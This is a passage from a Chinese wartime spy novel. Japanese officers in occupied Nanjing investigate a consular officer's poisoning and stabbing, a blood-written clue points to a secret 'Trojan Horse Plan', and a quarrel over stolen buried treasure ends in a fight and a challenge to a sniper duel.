这张脸正是他再熟悉不过的、帝国上海领事馆的武官上野明。 此时的上野明双目圆瞪,瞳孔扩散,额头上青筋暴突,只是脸色已发黑,面目狰狞扭曲。 黑木松开手,站了起来挥手示意把尸体翻过身,渡边将头扭到一旁,不好意思再看,林赤会意,和一名队员将尸体翻了一百八十度,并把被单继续盖在他的下身上。 众人这才发现上野明的致命伤是在胸口,一把手柄几乎没入身体的小型匕首索取了他的性命,四处流淌的鲜血正是从这里冒出的。黑木重新蹲了下来,用手在上野明的胸前丈量了一下,这时渡边说道:“将军,看来杀害上野君的凶手是个老手啊,这一刀直插心脏,分毫不差……”渡边边说边俯身察看了一下床沿,又道:“阁下您看,床边上到处是血迹,可以断定血液呈喷溅状,分明是一刀致命!” 黑木点了点头,翻开对方的眼皮,细细观察一番,又把目光落在匕首的手柄上,一手按在他的胸脯上,一手用力拔出匕首。这是一把小巧而精致的匕首,尽管刀剑锋利,若不是在这样的场景中出现,人们怎么也以为就是一把削水果的刀具,绝不会联想到这是一把杀人凶器。 匕首上粘稠的血迹已微微发黑,但如何也遮掩不了匕首上发出的森森寒光。 本小章还未完,请点击下一页继续阅读后面精彩内容!黑木目光四处游动,落在了上野明的左手上,只见这只手紧握成拳头状,黑木抓起他的拳头,已发现他的手心里攥着一缕长长的头发,扳开他的手指,黑木把一撮头发取出,递给渡边,漫不经心问道:“这是女人的头发吗?” 渡边稍稍瞟了一眼,便肯定答道:“是的,将军,从头发的色泽看,而且是年轻的女人!” 黑木站起,正要离开,忽然发现地板上有些异样,立即调整了身位,眼睛死死盯着脚尖处。 渡边顺着黑木的视线看去,地板上除了斑驳的血迹外,并无特别之处,不禁好奇问道:“将军,怎么啦?” “渡边少佐,林桑,你们从我的视角往地板上看,看看能不能发现什么?” 渡边跨前一步,站在黑木的身后,林赤绕到黑木的右侧,二人一同找寻着地上的异常之处,渡边还没说话,林赤抢先道:“将军,好像是一个字……” 渡边按林赤的思路果然有新的发现,地板上写了一个歪歪斜斜的血字,这个字如果不留意看,根本分辨不出来。 “将军,是个‘木’字?”渡边狐疑问道。 黑木未置可否,弯腰摆弄了一下上野明的手臂,抬头才看了林赤一眼,林赤心有灵犀,对身旁的队友说道:“你们搭把手,咱们把这具尸体复原!” 上野明的尸体又被摆放成原来的样子,黑木把上野的右手沿着原来的姿势放好,果然那个“木”字就在他的右手手心下方。 “这个字的的确确出自上野君之手!”林赤断然说道。 “可是,上野君临死之前写下这个字‘木’,到底有何用意?”渡边迫不及待问道。 “难道他是想告诉我们什么事情?”林赤补充一句。 黑木双手按在膝盖上,直起身子, 不慌不忙道:“林桑分析得对,一个人能在性命弥留之际,还拼力留下文字,定然是想向后人揭示什么,某种程度而言,必定是关系重大的真相!”说着率先向外间走去。 “会是什么真相?”渡边追上去问。 黑木踱步到了外间的客厅,在衣架上取下上野的外套,探手摸了摸所有的口袋,却发现口袋里什么也没有。 “刺客把上野君的证件和佩枪都拿走吗?”渡边又插问。 黑木点头,在沙发上坐下,看着站在面前的渡边和林赤,黑木若有所思向林赤问道“林桑,你的看法呢?” “一个‘木’字,信息量太少,但这是上野君性命攸关的时候写的,他或许是想写一个人的名字,可是只写了一个字,就坚持不下去了,这足以说明他非常憎恶这个人,哪怕即将死去也要将他揭露出来,而能让他如此憎恶的这个人,必定是杀害他的凶手,唯有如此,他才会不顾一切!” 黑木颔首,又问:“林桑的意思是说这个‘木’字,包含了凶手的信息?” “这只是我粗略的看法,不知将军怎么看?” 黑木又把脑袋转向渡边,“渡边小姐,你有何高见?” 渡边看了看手里的一撮头发,答道:“我同意林君的意见,如果被害的人是我,自然对凶手恨得咬牙切齿,这个时候所要表达的定然是关于凶手的信息。毫无疑问,凶手是个女人,从现场判断,这个女人并没有进盥洗室洗澡,她一直待在房间里,是在上野君洗完澡后乘对方不注意一刀准确刺中了要害,否则,一个女人是不可能杀死一名训练有素的帝国领事馆武官的,据我所知,上野君更恰当说是一名优秀的特工,即使对手是男人,也不会轻易送命的!当然,不能排除这名女杀手也受过专业训练,从房间的打斗也可以看出在毙命之前,上野君与她进行了搏斗,对方图穷匕见,一刀了结了战斗。只是我很好奇,这名杀手的前期准备似乎很充分,要不然她身上不可能藏匿刀具,她的目的很明确,就是要在和上野君开房之际,取了他的性命。” “可是渡边少佐忽略了一点,你别忘了上野君的致命伤在心脏,对方是正面刺杀,这个女子需要多大的勇气啊!毕竟她面对的可是一个身强力壮的特工!” 黑木听到这儿,一个念头闪过,目光倏然盯在沙发前茶几上的一只水杯上。 “吉田少佐,你让人把这杯水速速化验一下!”黑木指了指茶杯命令道。 吉田小心地端起装着小半杯水的杯子,刚出房间,迎面差点撞上一人。 一个三十五六岁的男子风风火火冲进房间,看到房间里站满了人,收住脚步,劈头就问:“被杀的是上野君吗?” 渡边迎了上前,问道:“阁下是谁?” “帝国南京大使馆警察署副署长悌泽。”悌泽巡视一圈,目光落在独坐的黑木身上,一个箭步上前,向黑木伸手道:“阁下是松机关的黑木将军?” 黑木伸手相握,“是的,我是黑木瞳,悌泽君来此有什么事吗?” “我知道上野君是被谁所杀!” “哦?悌泽君快说!” 这章没有结束,请点击下一页继续阅读!“上野君昨夜和我们在一起喝酒,就在大使馆东侧的木屋居,我们大使馆总领事堀公一特地设宴款待上海领事馆岩井先生,上野君和袁先生也在受邀之列,人很多,聚会结束后不少人纷纷离去,最后只剩下我和上野君二人,这时进来一个服务员,上野君看上了她,我为了成全他的好事,也很快离开了,现在我可以断定那名女服务员一定脱不了干系。” “服务员叫什么名字?” “刘若陶,这是她告诉我们的,具体的情况要问木屋居的老板。” “悌泽君,你凭什么断定刘若陶就是杀人凶手?”黑木不苟言笑。 “那女子虽然是个服务员,但看起来不简单,上野君一把抱住她的时候,她看起来一点也不慌张,相反应对自如,谈笑风生,这绝对不是一般人可以做到的!” 黑木不再说话,带着众人下楼,在大堂看到被宪兵团团围住浑身瑟瑟发抖的饭店老板,停下脚步,问道:“你就是这家饭店的老板?” 对方点头,眼里露出哀求的神色,“太君,真不关我的事,求你们放我一条生路!” “在你鼓楼饭店死了一名帝国皇军,你居然敢说不关你的事?”黑木声色俱厉。 “饶命啊,太君!”老板腿一软,跪了下来。 “昨夜入住旅客登记的是你吗?” “正是在下,宪兵司令部要求所有的住客一定要登记,我们也不敢怠慢啊!” “和太君一起进来的你看清楚了吗?” “看清楚了,是个年轻女人,长得还算漂亮,扎着长长的马尾辫,具体模样我没敢细看……” “后来看到那女子离开了吗?” “看到了,大约半小时到四十分钟的样子,我和她有过照面,那女人见到我还笑了一下,她模样娇小,我怎么也想不到她会是杀人凶手啊!我真该死!”老板涕泪交加,边说边使劲抽着自己耳光。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第234章 木马计划 吉田少佐很快把化验结果送到了黑木手里,送检的那杯水里含有一种叫做三氧化二砷化学成分,这种物质在中国有一个更通俗的名字:砒霜,是一种无色无味的白色粉末,易于隐藏,方便投毒,简直是居家旅行、杀人灭口的必备良药。 这和黑木的预判如出一辙,上野明的确在被杀之前,喝了含有砒霜的水,毒发之后,才导致被对手轻易取了性命,否则,就凭一个长相秀气的女服务员,绝无可能在不惊动住客的情况下得手的,即便上野已色迷了心窍。 在经过对木屋居的老板和服务员的走访调查后,刺杀上野的嫌疑人已被锁定,悌泽所料不虚,正是木屋居的女服务员刘若陶。早在悌泽推测了刘若陶具有作案嫌疑之后,特高课的吉田少佐已派人去搜查了她的住处,发现已人去屋空,只是房间里一切井井有条,根本不存在仓皇出逃的迹象,通过搜查发现,主人就连一些贵重的金银细软都没来得及带走,这足以说明,刘若陶杀害上野明,绝无预先计划,完全是临时起意。可是让黑木等人不解的是,刘若陶为什么要杀上野?难道仅仅因为他欲行性侵之举?种种迹象表明,这位女子必为特工无疑,从她的行事风格判断,她更像是来自于军统(共产党当时鲜于运用毒杀)。刘若陶的老板和同事进一步透露,她乃为本地人,在木屋居当服务员已两年之久,如若如此,她为何要冒着暴露的风险,去刺杀一个上海领事馆的武官?前来参加授勋仪式的上野踏上南京这片土地还不足三天,按理说她和他并无交集,难道上野身上藏有什么绝密情报,还是上野掌握了什么内情,逼得刘若陶一下子起了杀心,非得把他灭口? 黑木百思不得其解,又把悌泽叫来,作为昨晚最后一位离开上野的目击证人,他或许知道一些鲜为人知的细节。 悌泽听到黑木的问询后,坚决地摇摇头,极力否认,声称他临走前上野看上去怎么都是一个生理和心智非常健全的人。 黑木不甘心,又亲自到南京大使馆拜谒了岩井总领事。 黑木找到岩井的时候,岩井正和堀公一闭门密谈着什么,黑木让人通报岩井,说他有要事求见,岩井这才匆匆走出总领事办公室,把黑木带到会议室,黑木见到他谈笑风生,脸上竟没有一丝悲戚,开门见山问道:“岩井君,贵领事馆的武官上野君遇害的事阁下听说了吗?” “我也是刚刚听说。”岩井板起脸,一副不耻的样子,“听说他光着身子被人杀了?” “阁下好像一点也不难过?” “这种死法实在是帝国的耻辱,他这是死有余辜!况且我听说他还是死于一个女人之手?” “有一点岩井君可能不清楚,那名女子是个特工,行刺之前她在上野的杯子里下毒了!” “哦?”岩井一愣,忽然坐正了身子。 “所以,我此次前来,是想向岩井君求证,一个素未谋面的女特工为何要对上野痛下杀手?难道仅仅因为上野君非礼她?我想这过程恐怕没这么简单吧?”黑木说着目光炯炯地盯着岩井,却发现岩井似乎若有所思的样子,马上紧问道:“会不会是上野君掌握了重要的机密,被敌人盯上了?” 岩井支支吾吾起来,并未马上作答。 黑木何等精明,已知岩井一定有什么事瞒着他,只是这件事关系到案件的侦破,他不顾一切说道:“我和岩井君是老朋友了,你我虽然隶属两个不同的系统,只是这个案子事关重大,是发生在我的地盘,也关系到我对本地敌特网络的破获,我责无旁贷,还希望岩井君能够知无不言……” 岩井脸上勉强挤上笑意,吞吞吐吐道:“黑木将军,我理解你,可是我也有苦衷!” “难道阁下想让罪犯逍遥法外?阁下不想为上野君平冤昭雪?”看到岩井英一依旧在犹豫,黑木继续道:“刺杀上野的女特工叫刘若陶,是木屋居的一名女服务员,入职两年多了,是南京本地人,上野君临死之前,在地板上写了个血字,我们辨认了,是个‘木’字,我现在很想知道,这个‘木’字和本案到底有什么联系……” “黑木君,你是说上野在现场留下了一个‘木’字?”岩井不禁狐疑问道。 “是的,按常理推断,这个字必定和杀手有关,可当我们确认了凶手后,又不得不推翻这个结论,刘若陶的名字在中文和日文里,都没有‘木’字,因而可以排除这个字暗指凶手,应该另有深意……” 岩井听到这里,脸色凝重起来。 “上野明此番来南京,不单是参加授勋仪式这么简单吧?”黑木开始旁敲侧击。 “难道是计划泄露了?”岩井皱着眉苦苦思索着,半天又摇头,喃喃自语道:“不会呀,知道这计划的没几个人啊,更何况军统特工?”说着说着岩井的目光坚毅起来,对黑木说道:“阁下说得没错,我们外务省隶属的各大中国领事馆确实是在执行一项绝密计划,这项计划在两年前就已启动,执行主体是大本营参谋本部,我们称之为‘木马计划’,计划的内容属于一级机密,恕我现在不能详细告之,但至于是否透露给将军,我需要请示……” 这章没有结束,请点击下一页继续阅读!“木马计划?”黑木精神一振,“这么说来,上野君所写的‘木’字,一定是指‘木马计划’了?” “有这种可能。” “上野君的意思是指木马计划已被敌人截获?” 岩井脸上阴云密布,缓缓站起来,意兴阑珊说道:“黑木君,我只能和你说这么多,还望见谅。但不管如何,还请将军务必全力以赴,一定设法抓住那名叫刘若陶的特工,如果真如阁下所料木马计划已经泄露,则抓到她就显得更为迫急,这样才能最大限度减少损失!” “岩井君放心,这一点我们早有安排,我们已根据木屋居职员的描述,把刘若陶的画像贴满了整个南京城,并开始全城搜捕,我相信她还没有逃出去。” “那就好,但愿能够擒获凶犯。” “阁下就静候佳音吧。” …… 子夜时分,松机关设在憩庐三楼的技术科的大门被人从里面轻轻推开,一个脑袋探出来,四下打量一番,确信无人后,他蹑手蹑脚走出房间,转身将门上的锁锁上,并伪装成原来的样子,迅速下了楼梯。 黑影下到二楼,抬腿朝着电讯股走去,在接近房间数米时,他故意放重了脚步,大声咳嗽两声,毫不犹豫推门入内。电讯股的外间依旧空无一人,他走到里间房门前,又咳嗽一声,轻轻推开了房门。 监听室通火通明,四五名专心致志工作的监听人员并未看他,倒是坐在最尾端的一名男子抬眼看到他后,立即起身,恭恭敬敬打了个招呼:“稻田股长好!” 稻田勇微微点了点头,问道:“仓木君,我走后有没有什么新的情况?” “一切正常。”那名男子脱口道。 稻田勇信步走上前,捡起桌上的监听记录认真地审阅着,半晌后,有意无意说道:“仓木君,今晚的牛肉好像变质了,我把肚子吃坏了,整个晚上都在拉肚子。” “哦,是吗?我怎么好好的?”说着仓木转头询问大家,“你们谁吃牛肉了?有肚子不舒服的吗?” 好几个人纷纷摇头。 稻田哀叹一口气,说道:“自从来南京后,一直觉得肠道紊乱,看来我还是水土不服!” “股长要多保重身体!”仓木不无关切道。 稻田颔首,又在房间里转悠了好一会儿,这才不慌不忙走出监听室,并掩上房门。 一出房门,稻田在自己的办公桌旁坐下,迫不及待从口袋取出一叠照片,细细端详起来。 充沛的灯光下,照片看得更清楚了,稻田快速浏览了几张,便洋洋得意起来,他忽然觉得自己是个天才,他只是凭借同乡田中毅的言传身教,便熟练掌握了冲洗照片这么高难度的技术活,而且洗出的照片如此清晰,这充分说明要不他有过人的天赋,要不冲洗照片是一件看起来极易的事情。 稻田盯着照片不由得神思起来,照片上的器物在灯光下显得质感十足,处处迸发出高贵的气质,他再次联想到前不久中岛将军莅临松机关时的训话,他话语中谈及到蒋某人有一件压箱底的宝物流失在憩庐,难不成他的这一件就是? 稻田越想越觉得可能性极大,越想越兴奋。正当他心潮澎湃之际,忽然身后出现了开门声,稻田赶紧把照片塞到上衣口袋,同时站起身来。 开门的是仓木,他显然发现了稻田慌乱的神情。 仓木的眼睛躲闪着,似乎在故意躲开稻田的目光,并顾左旁右说道:“股长,监听室我帮你盯着,你身体不舒服就先回去休息吧!” “也好,有劳仓木君了。”稻田装作很感激的样子。 “小事一桩,如果有紧急情况我会第一时间通知阁下!” 稻田下了楼,独自一人走在返回宿舍的路上,看到绰绰约约的长长的自己的影子,抬头向空中望去,正见偏西方,一轮如钩的下弦月悬挂在天空中,倏然就联想起数天前的某一个晚上,他在操练场的树林中,偷偷掩埋宝物时意外被人追踪的场景。 这一想,稻田不禁冷汗直流。 念头一起,稻田不由加快脚步,朝着那片树林急速跑去。 来到树林旁,他放慢脚步,旁顾前后左右,确定无人跟踪,很快隐身树林,穿过操练场,匆匆来到藏宝处。 随着一道手电光芒的射出,稻田勇如坠冰窖,他的世界开始天旋地转。 手电光照射之处,他亲手挖掘的坑道暴露在眼前,数尺深的土坑中,了无一物,他千方百计藏匿的奇珍异宝,已不翼而飞。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第235章 愤怒的对质 稻田勇大梦初醒,联想到自己不幸的家庭,顿时悲愤交加,他颓然地倚在一棵树干上,倔强地昂起沉重的头颅,透过林子间密集枝条的罅隙,一缕残月的光斑斑驳驳洒下,在他的脸上投出忽明忽暗的阴影。 他想起债台高筑的父亲,想到生活举步维艰的母亲,想到杳无音讯的妹妹,不知不觉,眼泪模糊了他的双眼。 上帝似乎和他开了个玩笑,他千方百计攫取了一件宝物(它的价值此时的稻田勇已坚信不疑),眼看可以彻底改观他的所有窘境,可希望在顷刻之间灰飞烟灭。他把手伸进口袋,掏出那叠照片,刚想撕成粉碎,忍不住又迟疑起来,拧亮手电,把自己费尽心血冲洗出的照片一张一张翻过,他忽然间心坚如铁。 他必须做点什么,他不能这么快认命,他要全力以赴索回属于他稻田勇的东西。 可盗取宝物的到底是谁?冷静下来的稻田开始梳理头绪,他深信,世上没有如此诡异的巧合,宝物的丢失一定不是偶然,最大的可能是他被人跟踪了,是有人在他埋藏宝物时窥得端倪,这才导致宝物的失窃。一帧帧画面快速从他的脑海中掠过。他马上想起数天前他掩埋宝物时那名跟踪自己的黑影,可以断定那个黑影才是最大的嫌疑人,想到这里,他毫不犹豫把手电光再次照射在土坑上……土坑的掘痕已不是新迹,显然宝物早就被人挖走,而坑道周围脚印陈旧凌乱,稻田稍加甄别,就可以推断这些脚印来自于三人,稻田比对了一下自己的脚印,发现了两双陌生的脚印。 除了自己的之外,起码还有两人来过现场。 这两人,必定摆脱不了干系。 稻田蹲在地上细细分辨着鞋印,意外发现鞋底的纹路竟有分别,自己的和其中一人如出一辙,均是装备给陆军文职军官的皮鞋,而另一种则是装备给战斗部队的陆军皮靴,鞋底纹路既粗又深。稻田捡起一根枯枝,丈量了皮靴印辙的长度,得出了对方的脚比自己略小的结论。 这一番忙碌,稻田心中已有计较,他用脚把土坑填平,抓着那根枯枝缓缓走出树林。 回宿舍的路上,稻田愤怒地反复惦记起一个人。 狙击手工藤夕贵。 自从工藤夕贵和他住进同一间宿舍,他的种种表现透出十二分反常,他似乎对他床底下的箱子有着强烈的兴趣,第一次是在稻田从箱子里取出纱布给他包扎伤口时,他的眼神就很不对劲,再后来,一次稻田中途折返宿舍,碰巧撞见他从稻田的床铺前慌张起身,尽管工藤百般掩饰,但毫无疑问,工藤在这之前一定摆弄过他的箱子。 所有的这一切说明,工藤已盯上他了,起码是盯上了他的箱子!而偷走宝物的最大嫌疑人,除了他,再无更恰当的人选。 疑窦一起,稻田的内心再也无法平静,伴随着满腔的恨意,他的脚步渐渐急骤起来,他恨不得马上回到宿舍,把工藤从床上拖起来当面对一对质。 轻轻推开房门,借着窗外的路灯光,稻田看到川上麻衣的床铺空的,看来他的上司今夜不会回来了,而工藤酣睡如雷,正沉浸在美妙的梦乡之中,稻田忽然勇气倍增,眼下是一个难得问罪的机会,加上理智的天平早已失衡,戾气从胆边升腾而起,开始冲撞着稻田的大脑。 稻田返身走到房门后,拽了一下电灯拉线。 灯亮了,工藤的脑袋朝向床里,鼾声依旧如故。 稻田弯腰取出工藤的那双陆军军靴,把带回的枝条紧挨着鞋底比划了一下。 这一比划,极其吻合,疑虑如浮云散尽,狂怒的乌云翻滚而至。 就在此时,工藤不合时宜地翻了个身,刺眼的灯光搅碎了他的美梦,他惺忪睁开双眼,看到一个人影在他的床前晃动,一个激灵,狙击手工藤夕贵腾坐而起,警惕地厉声喝问道:“你想干什么?!” 工藤的惊醒恰到好处。稻田提着工藤的军靴,并不慌张,相反,他有种受尽屈辱的趾高气扬,他执着认为真理是站在他一边的,因而,此时的稻田唯一所要做的就是要在气势上压倒对方。 “这双鞋是阁下的吗?”稻田索性把沾满厚重泥垢的靴子扔到了工藤的被子上,劈头问道。 这样的举止既突兀又荒唐,却一下子把工藤从恍惚中拉到了现实,他瞪大浑圆的眼睛,不解地看着气鼓鼓的稻田,心中不免打鼓,一时之间不知如何作答。 “工藤君,请你告诉我,最近你是不是在跟踪我?”稻田的第二句话和第一句并无任何承接,也无必然的内在联系,这让工藤更是摸不着头脑,无论如何,这样的提问对于刚睡醒的人来说都是不公平的。 看到工藤一脸无辜的神情,稻田顿时怒不可遏,恶狠狠地把头逼近他,呵斥道:“我问你话呢,怎么,阁下没听懂?” “稻田君,你是不是吃错药了?”工藤终于憋出一句话,从被子里抽出双手,把床上的靴子拂下床。 工藤轻蔑的语气和轻浮的举止终于激怒了稻田,他不假思索把手中的枝条抵在工藤的脑门上,如同挥舞的是一支手枪,一字一顿喝问道:“阁下的所作所为,难道都忘了吗?”稻田边说边把枝条用力往前送,直戳得工藤徒然变色,他不再犹豫,一把抢过枝条,手指一用力,已将枯枝捏断成数截,扬手撒飞。 这章没有结束,请点击下一页继续阅读!“稻田君,你到底是哪根神经搭错了?!”工藤已然气急败坏。 手里失去了枝条,对于稻田而言,和被缴械没有二样,丢失了武器的稻田,突然一把拽住了工藤的衬衣领口,咬牙切齿道:“犯病的应该是阁下,你说说,你为何三番五次跟踪我?” “我……”工藤一时语塞,话语渐显苍白,声音已降下几个音阶,吞吞吐吐答道:“请你不要血口喷人……” 看到工藤欲盖弥彰的样子,稻田心中已有答案,愈加咄咄逼人起来:“八嘎,你还抵赖!” 工藤虽然心虚,但衣领被稻田越收越紧,呼吸倍感困难,便不自觉一把抓住稻田的手腕,极力挣脱对方的束缚。 稻田岂能罢休,双臂随之用力,可毕竟乃为文职出身,力量上和工藤相差了一个等量级,片刻间就处于下风,双手已被工藤反转,即便如此,工藤并不作罢,而是再接再厉,直到把稻田的手掰到一个极限的角度,痛得稻田面容扭曲。 人被逼到一定的份上,必然会绝地反弹,好在稻田有双脚撑地,就在他低下脑袋的一瞬间,稻田不顾一切地把脑袋朝着工藤撞去。 这一撞,目标直指工藤的下巴,只听到一声轻微的脆响,工藤发出一声悲怆的惨叫。 醒悟过来的工藤不再有一丁点犹豫,他的双脚从被子里倾全身之力揣向稻田…… 稻田的胸口一震,巨大的撞击力使他身体后倾,一个趔趄,踉踉跄跄后退数步,身子倒向床前的桌子,手臂从头顶上划了一个圆弧,将桌上的热水瓶以及盆盆罐罐的扫落地上,叮叮当当的破碎声划破了夜的静谧。 稻田仰面倒地,心中充溢着满满的屈辱感,正要奋力爬起,猎户出身的工藤自然深谙痛打落水狗的道理,根本不给他反弹的机会,从床上飞身而起,骑在他的身上,果断地继续挥拳猛击。稻田也不吭声,尽管是螳臂挡车,依旧作着万般抵抗。血从稻田的鼻子里汩汩涌出,模糊了他的双眼,这让他又羞又急。 之于稻田勇而言,这不啻于他一辈子所遇到的奇耻大辱。 就在这时,稻田的手触及到腰间的一件物什,那是他的佩枪,他想都没想,立即把手枪紧紧攥在手心里,与此同时,稻田用尽吃奶的力气,用膝盖狠狠地顶了一下工藤的小腹。 工藤占尽上风,看到稻田满脸鲜血,挥起的拳头不禁迟疑了一下,就是这片刻的迟疑,稻田的反击转瞬即至,令他猝不及防,工藤立时瘫倒在地。 形势急转直下,工藤再想努力,发现一支黑洞洞的枪口已顶在他的脑门上。 从冰凉的神经末梢传递而来的信息告诉他,这是一支货真价实的手枪。他大惊失色,连忙双手抱头,一边作投降状一边语无伦次提醒道:“别开枪……别开枪……稻田君请冷静!” 稻田冷笑一声,把枪口更加抵近,喝道:“要我冷静可以,你要如实回答我的问题!” 工藤并未吱声。 “你是不是一直在偷偷监视我?” “嗯……”工藤犹犹豫豫答道。 “那天在操练场的树林里,那个跟在我后面的黑影是你吗?” “嗯……” “你知道我那天晚上在做什么?” “嗯……阁下是在藏什么东西吧?” “那你快回答我,你把我埋藏的东西藏在哪里了?” “我……我并没有动你的东西……”工藤咽了口唾液,眼睛里布满疑色,“我发誓不是我干的!” “怎么可能?”稻田斩钉截铁,“我的东西不见了,如若不是阁下,我想不出还会有谁?” “可真的不是我呀!”工藤用手掌挡住了枪口,以商量的口气试探道:“稻田君,你让我坐起来说话……”见稻田没有丝毫反应,工藤断断续续继续道:“授勋仪式前一天晚上我的确跟踪过阁下,事后我也察看过你的埋藏点,可是再次前往的时候,我发现你所埋的东西已被人取走了!” “你撒谎!”稻田歇斯底里喊叫着,把枪口移向工藤的眉心,作欲射击状。 正在此时,门外忽然人声鼎沸起来,倏然,房门哐当一声,被人一脚踹开。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第236章 摊上了赌约 房间门口已围了不少人,均是附近宿舍被打斗声惊醒的日军士兵,他们随意套上一件外套便觅声而来,只是房门紧闭,纵有万般好奇心也只能侧耳倾听,可如今忽然有人踹开房门,这使得他们再也不用争先恐后在门缝后偷窥,可以光明正大一睹真相。 门口看热闹的人群顷刻之间从门两边合流,形成了一堵人墙,纷纷探头张望。 踹门的是个青年,他径直冲了进来,一把拉住稻田勇的胳膊,劝慰道:“稻田君,有话好好说,快把枪放下!” 稻田从声音中听出来者是归顺不久的林赤,心中既不屑又不满,反而把枪口向前送了送,对着工藤夕贵厉声斥问道:“既然不是你偷的,请你告诉我,你为什么要跟踪我?” “我一开始并不知道是阁下,是阁下提醒了我……再说那晚我只是碰巧去了操练场,看到一个鬼鬼祟祟的人影在树林里挖掘着什么,出于好奇,我便偷偷跟在你后面……但我可以发誓,你的东西真不是我拿的,后来我返回去,就发现东西已被人挖走了,当时我以为是你做的呢!” 工藤一边回话一边转动着眼珠,思索着如何反击。他早已听出门外有不少人在围看他的笑话,这对于他来说,比杀他还难受,可是他和稻田并无深仇大恨,充其量只是同事之间的一次小摩擦,如果反击太过激烈,他真怕狗急跳墙的稻田会擦枪走火,毕竟,他是理亏的一方。 林赤是被走廊上的吵闹声叫醒的,这两天来,他已逐渐熟悉宿舍区的环境,他只穿了一件衬衫就出门察看,不知不觉跟着人流来到此处,马上判断出这是松机关的青年军官的宿舍,于是毫不犹豫破门而入。 出现这样的情形正合心意,此时的他迫切需要刷刷存在感,说不定愈是混乱的局面对他愈有利。 稻田和工藤的对话语焉不详,但从内容判断肯定是他感兴趣的,此时的他非常愿意搬张板凳坐下来听他们一问一答,可是那样做显然有失违和感,他必须做点什么了。 “稻田君,你还是把枪放下,当心走火!”林赤用很轻很轻的力量拽了一下稻田的袖口,他的骨子里并不想稻田就此罢休。 可就是这轻轻一拽,稻田怒火瞬间爆发,他扭过头来,恶狠狠瞪着林赤呼喊道:“滚!” 稻田话音刚落,门外响起一阵哄笑声。 林赤一愣,一脸无辜的样子,先是无奈地后退几步,想想又极不甘心,再次走近,把手搭在稻田的肩上,推了推,充满善意劝告道:“你们都是松机关的同事,何必闹到这个地步,非得动枪?有话不能好好说?” “关你屁事!”这一下,稻田彻底生气了,索性把脑袋转向林赤,警告道:“支那人,你这是找死!请你赶紧从我面前消失,否则别怪我对你不客气……”说到气愤处,稻田忘乎所以,提起枪口,直接指向林赤。 林赤慌忙摇手,示意稻田不可冒失,脚步匆匆后退,嘴里说道:“稻田君,千万小心……千万小心……” 哄笑声更热烈了。 林赤心如明镜,他知道,自己已分散了稻田的注意力,这样的时机对于狙击手工藤而言,是逆转局面的最好机会,除非对方浪得虚名。 果然,工藤没有让他失望,就在林赤话刚刚说完的一瞬间,他已积蓄了满满的力量,骤然以排山倒海之势把稻田生生从身上摔了出去。 稻田的身子重重地撞在地上,脑袋朝下,擦过地面,直让他眼冒金星,七荤六素。 还没明白怎么回事,手中的枪已被对手夺了过去,工藤意气风发地反骑在他的身上,并以其人之道把枪口指着稻田。 真是一场精彩的表演,围观的人群发出整齐的惊呼,居然有人开始鼓掌。 “我工藤夕贵可是帝国数一数二的狙击手,你也不想想,你怎么可能是我的对手?”工藤一边斥责对方一边用枪口敲打着稻田的额头,恨不得把所有的委屈还给他。 林赤心中喝了一声彩,见此情景连忙收住脚步,不退反进,在工藤的身后冷冷道:“工藤君,你这样做不妥吧?” 工藤夕贵是在场所有人中唯一和林赤交过手的,起码领教过对方的枪法,对他还是充满了必要的敬畏,听到林赤的话,枪口依旧紧紧贴在稻田的脑袋上,回头看了一眼林赤,带着几分笑意道:“你叫林赤?” “怎么啦?”林赤反问。 “我们打过交道,在燕子矶码头的一座山上,我差一点就击毙你了……” “我不是还好好的吗?” “那是你幸运,有机会的话,我想和你比试比试……” “随时奉陪,至于能否赢我,我劝你还是别抱希望!” “阁下太自信了吧?”工藤忽然阴阳怪气起来,对于事迹上过帝国朝日新闻头条的狙击手工藤来说,前半生最大的缺憾就是没遇到过真正的对手,他有理由相信曾经的失误是他轻敌造成的,他也有理由相信上一次是运气站在林赤那一边罢了,他更有理由相信,眼前的这位模样俊朗的年轻人,并无什么特别的过人之处。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“我从来就不认为你会成为我真正的对手!”林赤瞟了工藤一眼,漫不经心说道。 这句话很伤工藤的自尊,这是对他彻底的侮辱,自负的工藤顿时气急败坏起来,刚刚还存有的一丝绅士风度已荡然无存,咬牙切齿道:“你们支那人就仗着一张嘴,只会打嘴仗,关键时刻就软蛋了!” “我这是为你好,就怕真比试你会输得很惨,到时可别怪我不留情面!” “那一言为定,咱们约定一个时间,并协商制定一个规则!” 工藤在小小的松机关那是神一样的存在,无人不识无人不晓,话说到这里,挤在门外的日军士兵方才知道这个中国年轻人是一名狙击手,听意思还有些斤两,但他们根本不认为蜚声日军华中方面军的神枪手工藤夕贵会棋逢对手,想到不日后会上演一场激动人心的对决,给平淡的生活增添不少亮色,刹那间由衷兴奋起来,挥舞这拳头纷纷起哄替工藤约架。 林赤没有料到会有这样的插曲,犹犹豫豫看了看房外的人群。 工藤得意洋洋扫视了一眼他的粉丝,把挑衅的目光落在林赤的脸上,他浑然忘记胯下还压着一人。 “我看还是算了吧……”林赤支支吾吾说道。 “怎么,你怕了?”工藤咄咄逼人。 “我是怕黑木将军不批准!” “这点不用你操心,再说勇士之间的对决帝国从上到下一直是鼓励的!” “那好,时间和规则都由工藤君定,我定会赴约!” “那就明天午间在操练场举行如何?” “好,只是……”说着林赤看了一眼躺在地上的稻田,正和他的目光相撞,发现稻田羞辱的目光中竟透出乞怜之色,忙补充道:“工藤君还是先把稻田君放了再说!” 工藤回到了现实,扫了一眼稻田,不忘再次正告林赤:“明天午间十二点,操练场不见不散!” 节外生枝的这一出使得林赤对自己把控局势的能力产生了怀疑,他隐约觉得不久前二人的对话对他至关重要,似乎涉及到某一件埋藏的器物,虽然他不认为这器物就是重庆方面千方百计找寻的食人虎兽尊,但起码有利于他进一步接近真相。 这些念头在他的脑海快速闪过,俄顷之间,他已想好了对策。 他必须把二人的注意力再次交织在一起,唯有如此,才能回归他们最初的话题。 林赤快步走近工藤,不耐烦说道:“工藤君,你这样欺负人有意思吗?” “关你何事?” “怎么不关我的事?如果稻田君不和我讲话,你是翻不了身的!”说着大大咧咧架起他的胳膊。 工藤一挥手,拂开林赤的手,对稻田奚落道:“稻田君,认输吧,只要你认输我就放了你!” 稻田轻蔑地哼哼几声,试图挣扎了几下,可马上遇到工藤冰冷的枪口,把脑袋别过一边。 “工藤君,我和你说话呢!”林赤不失时机提高了声音,这次他不再迟疑,双手前伸,一把控制住工藤的双臂,并用力向上牵引。 